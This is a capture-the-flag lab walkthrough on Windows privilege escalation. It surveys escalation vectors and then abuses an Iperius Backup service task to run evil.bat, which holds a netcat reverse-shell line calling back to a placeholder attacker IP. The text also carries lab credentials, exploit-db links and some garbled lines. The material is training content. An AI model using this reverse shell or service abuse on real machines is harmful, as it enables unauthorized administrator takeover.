Privilege escalation with Iperius Backup 6.1.0. <https://lnkd.in/dNU-cVsq> and McSkidy took control of the system again.

**Window Privilege Escalation**

**Story**

McSkidy has realized that she worked on a rough draft of a disaster recovery plan but locked down the permissions on the file to ensure that it was safe. However, the Grinch accessed the local system and reduced the permissions of her account. Can you elevate her privileges and get the file back?

**Learning Objectives**

1. Understanding different types of user privileges in Windows
2. Different privilege escalation techniques
3. Exploiting a privilege escalation vulnerability

Before you begin, please start the target machine. You can use in-browser access or connect to it over RDP using the credentials below.

**Username:** mcskidy

**Password:** Password1



**Privileges**

McSkidy made the right decision; any malicious hacker's life is easier once they connect to a system with privileged accounts. A privileged account (such as Administrator on Windows systems or Root on Linux systems) will allow them to access any file on the system and make any changes they need. An account with a lower privilege can make things more difficult.

The Grinch has a pretty good understanding of cyber security. Restricting McSkidy's account privileges makes the incident response process more difficult. She may need to run tools or remove any malicious account the Grinch may have created, but an account with restricted privileges will make this impossible.

On a typical Windows server, you may find several different account types; these are summarized below.

* Domain Administrators: This is typically the highest account level you will find in an enterprise along with Enterprise Administrators. An account with this level of privilege can manage all accounts of the organization, their access levels, and almost anything you can think of. A "domain" is a central registry used to manage all users and computers within the organization.
* Services: Accounts used by software to perform their tasks such as back-ups or antivirus scans.
* Domain users: Accounts typically used by employees. These should have just enough privileges to do their daily jobs. For example, a system administrator may restrict a user's ability to install and uninstall software.
* Local accounts: These accounts are only valid on the local system and can not be used over the domain.

Accounts can be easily managed with groups. For example, the McSkidy account can be created as a regular user and be later added to the Domain Administrators group, giving it Domain Administrator privileges.

**Windows Privilege Escalation Vectors**

A few common vectors that could allow any user to increase their privilege levels on a Windows system are listed below.

* Stored Credentials: Important credentials can be saved in files by the user or in the configuration file of an application installed on the target system.
* Windows Kernel Exploit: The Windows operating system installed on the target system can have a known vulnerability that can be exploited to increase privilege levels.
* Insecure File/Folder Permissions: In some situations, even a low privileged user can have read or write privileges over files and folders that can contain sensitive information.
* Insecure Service Permissions: Similar to permissions over sensitive files and folders, low privileged users may have rights over services. These can be somewhat harmless such as querying the service status (SERVICE\_QUERY\_STATUS) or more interesting rights such as starting and stopping a service (SERVICE\_START and SERVICE\_STOP, respectively).
* DLL Hijacking: Applications use DLL files to support their execution. You can think of these as smaller applications that can be launched by the main application. Sometimes DLLs that are deleted or not present on the system are called by the application. This error doesn't always result in a failure of the application, and the application can still run. Finding a DLL the application is looking for in a location we can write to can help us create a malicious DLL file that will be run by the application. In such a case, the malicious DLL will run with the main application's privilege level. If the application has a higher privilege level than our current user, this could allow us to launch a shell with a higher privilege level.
* Unquoted Service Path: If the executable path of a service contains a space and is not enclosed within quotes, a hacker could introduce their own malicious executables to run instead of the intended executable.
* Always Install Elevated: Windows applications can be installed using Windows Installer (also known as MSI packages) files. These files make the installation process easy and straightforward. Windows systems can be configured with the "AlwaysInstallElevated" policy. This allows the installation process to run with administrator privileges without requiring the user to have these privileges. This feature allows users to install software that may need higher privileges without having this privilege level. If "AlwaysInstallElevated" is configured, a malicious executable packaged as an MSI file could be run to obtain a higher privilege level.
* Other software: Software, applications, or scripts installed on the target machine may also provide privilege escalation vectors.

Ideally, McSkidy should explore all these. Privilege escalation does not have a silver bullet, and the vector that will work depends not only on the configuration of the target system but, in some cases, to user behaviour (e.g. finding a passwords.txt file on the desktop where the user notes his account passwords). In some cases, you will need to combine two or more vectors to achieve the desired result.

**Initial Information Gathering**

Information gathering is an important step in privilege escalation because this is how you can uncover potential vectors. Some automated scripts are available to quickly enumerate most of the known vectors listed above. However, in real penetration testing engagements, you will often need to do some additional research based on these scripts' results.

A few key points in enumeration are as follows:

Users on the target system. The net users command will list users on the target system.

Net localgroup Administrator

OS version: The systeminfo | findstr /B /C: "OS Name"/C: "OS Version" command will output information about the operating system. This should be used to do further research on whether a privilege escalation vulnerability exists for this version.

CVE-2020-0601 for Microsoft Azure virtual machines

<https://www.exploit-db.com/exploits/47128>

Installed services: the wmic service list command will list services installed on the target system

wmic service list | findstr "Iperius"

In a real engagement, you should follow the more extensive list of commands provided in our Windows Privilege Escalation Room.

**Exploitation**

The Iperius Backup Service suffers from a privilege escalation vulnerability. McSkidy could use it to elevate her privileges on the system. When Iperius Backup is installed as a service, it can be configured to run backup tasks with administrator privileges even if the current user has a lower privilege level.

A explit for iperious

<https://www.exploit-db.com/exploits/46863>

Let's explore the exploitation steps:

1) Create a new backup task: The task itself is not important. You can set the backup path as C:\Users\McSkidy\Documents

2) Set the destination: From the destination tab, you can set the location where the backup will be written. Again, this is not important; you can set it to C:\Users\McSkidy\Desktop

3) Other processes: The "other processes" tab is important. As you can see, this gives us the option to set a program to run before or after every backup process. As the backup process is ran with administrator privileges, any program or external file configured here will be ran with administrator privileges. To exploit this, we will create a simple bat file and set it to run before the backup.

The .bat file will launch a shell using the nc.exe utility (conveniently located at C:\Users\McSkidy\Downloads\nc.exe). Launch the Notepad text editor and enter the following lines of code.

@echo off

C:\Users\McSkidy\Downloads\nc.exe ATTACK\_IP 1337 -e cmd.exe

You will need to replace "ATTACK\_IP" with your attacking machine's IP address; we recommend starting the AttackBox (blue button at the top of this page).

You can save the file as evil.bat on the desktop of the target system (10.10.42.71) and select it by enabling the "run a program or open external file" option. Click OK, and you should see a backup job named "documents" on the Iperius dashboard.

4) Launch a listener: The evil.bat file will launch cmd.exe and connect back to our attacking machine on port 1337. We should have a listener ready to accept this incoming connection. You can launch ncon your attacking machine with the nc -nlvp 1337 command.

5) Run as service: Right-click on the "document" backup job previously created and select the "Run backup as service option".

6) Have a shelly Christmas! Within a minute or so, you should see an incoming connection on your attack

Further Reading

Privilege escalation is an important topic for penetration tests and various professional certificate exams. You can visit the rooms below to learn more about different techniques used for privilege escalation:

* [Windows privilege escalation](https://tryhackme.com/jr/winprivesc)
* [Linux privilege escalation](https://tryhackme.com/jr/linprivesc)



***Answer the questions below***

Complete the username: p.....



Correct Answer

 Hint

What is the OS version?



Correct Answer

 Hint

What backup service did you find running on the system?



 Submit

 Hint

What is the path of the executable for the backup service you have identified?



 Submit

 Hint

Run the whoami command on the connection you have received on your attacking machine. What user do you have?



 Submit

What is the content of the flag.txt file?



 Submit

 Hint

The Grinch forgot to delete a file where he kept notes about his schedule! Where can we find him at 5:30?